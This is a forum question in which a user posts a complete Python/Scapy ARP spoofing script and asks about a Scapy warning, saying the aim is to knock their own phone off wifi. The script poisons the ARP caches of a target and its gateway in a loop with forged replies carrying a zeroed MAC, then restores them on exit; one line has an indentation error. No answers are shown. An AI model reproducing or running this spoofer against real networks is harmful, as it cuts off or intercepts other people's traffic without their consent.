Laiptas
Laiptas

Reputation: 1

I get warning when sending arp packets

Im testing this arp spoofer program on my network, trying to DoS my phones wifi. The code seems to work, but I get this annoying error, that says - "WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP." Tried other ways, but nothing seems to work. Here is the code in question:

#!/usr/bin/python3


import scapy.all as scapy
import argparse
import time
import sys


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    if len(answered_list) > 0:
        return answered_list[0][1].hwsrc
    else:
        print(f"ARP request for {ip} did not get a response.")
        return None


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    if target_mac is None: print(f"MAC address for {target_ip} could not be found.")
        return
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc='00:00:00:00:00:00')
    scapy.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    if destination_mac is None or source_mac is None:
        print(f"Cannot restore ARP cache for {destination_ip} and {source_ip}.")
        return

    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)


def main():
    parser = argparse.ArgumentParser(description="ARP Spoofing Script")
    parser.add_argument("-i", "--interface", required=True, help="Network interface to use")
    parser.add_argument("-t", "--target", required=True, help="Target IP address to spoof")
    parser.add_argument("-g", "--gateway", required=True, help="Gateway IP address to spoof")
    args = parser.parse_args()

    target_ip = args.target
    gateway_ip = args.gateway
    interface = args.interface

    print(f"Starting ARP spoofing on interface {interface}")
    print(f"Target IP: {target_ip}")
    print(f"Gateway IP: {gateway_ip}")

    try:
        sent_packets_count = 0
        while True:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
            sent_packets_count += 2
            print(f"\r[+] Packets sent: {sent_packets_count}", end="")
            sys.stdout.flush()
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[-] Detected CTRL + C... Quitting.\n")
        restore(target_ip, gateway_ip)
        restore(gateway_ip, target_ip)

if __name__ == "__main__":
    main()

Tried different many code versions, nothing helped.

Upvotes: 0

Views: 126

Answers (0)

Related Questions